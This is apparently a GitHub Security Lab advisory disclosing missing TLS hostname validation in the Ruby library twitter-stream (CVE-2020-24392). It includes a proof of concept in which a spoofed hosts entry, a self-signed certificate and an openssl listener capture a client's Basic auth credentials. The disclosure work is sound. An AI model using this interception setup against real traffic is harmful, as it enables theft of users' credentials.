Summary

Missing hostname validation allows an attacker to perform a monster in the middle attack against users of the library.

Product

twitter-stream

Tested Version

v0.1.16

Details

Missing SSL/TLS certificate hostname validation

twitter-stream uses the library eventmachine in an insecure way that allows an attacker to perform a monster in the middle attack against users of the library.

Impact

An attacker can assume the identity of a trusted server and introduce malicious data in an otherwise trusted place.

Resources

To trigger the vulnerability, a simple TLS enabled listening daemon is sufficient as described in the following snippets.

# Add a fake DNS entry to /etc/hosts.
$ echo "127.0.0.1 stream.twitter.com" | sudo tee -a /etc/hosts

# Create a certificate.
$ openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

# Listen on port 443 with TLS enabled.
$ openssl s_server -key key.pem -cert cert.pem -accept 443
Using auto DH parameters
Using default temp ECDH parameters
ACCEPT
-----BEGIN SSL SESSION PARAMETERS-----
MFUCAQECAgMDBALAMAQABDA8sOGZJ/8QVTADQf38uAXiF6Xc5PINHnMmvdNyq0yo
jAj9mTtgTMHOckoAKGTZCh6hBgIEXsJY6qIEAgIcIKQGBAQBAAAA
-----END SSL SESSION PARAMETERS-----
Shared ciphers:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:DHE-RSA-AES256-SHA256:DHE-RSA-CAMELLIA256-SHA256:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:DHE-RSA-AES256-SHA:DHE-RSA-CAMELLIA256-SHA:AES256-GCM-SHA384:AES256-SHA256:CAMELLIA256-SHA256:AES256-SHA:CAMELLIA256-SHA:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA256:DHE-RSA-CAMELLIA128-SHA256:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES128-SHA:DHE-RSA-AES128-SHA:DHE-RSA-CAMELLIA128-SHA:AES128-GCM-SHA256:AES128-SHA256:CAMELLIA128-SHA256:AES128-SHA:CAMELLIA128-SHA
CIPHER is ECDHE-RSA-AES256-GCM-SHA384
Secure Renegotiation IS supported
GET /1.1/statuses/filter.json HTTP/1.1
Host: stream.twitter.com
Accept: */*
User-Agent: TwitterStream
Authorization: Basic VVNFUk5BTUU6U0VDUkVUUEFTU1dPUkQ=

Create a sample client with the following contents:

require 'rubygems'
require 'twitter/json_stream'

EventMachine::run {
  stream = Twitter::JSONStream.connect(
    :path    => '/1.1/statuses/filter.json',
    :auth    => 'USERNAME:SECRETPASSWORD'
  )

  stream.each_item do |item|
  end

  stream.on_error do |message|
  end

  stream.on_max_reconnects do |timeout, retries|
  end

  stream.on_no_data do
  end
}

Run the example client to see a connection being performed in the listening daemon initialized in the previous steps.

$ ruby twitter-stream.rb

References

CWE-297: Improper Validation of Certificate with Host Mismatch

CVE

CVE-2020-24392

Coordinated Disclosure Timeline

Credit

This issue was discovered and reported by GHSL team member @agustingianni (Agustin Gianni).

Contact

You can contact the GHSL team at securitylab@github.com, please include the GHSL-2020-097 in any communication regarding this issue.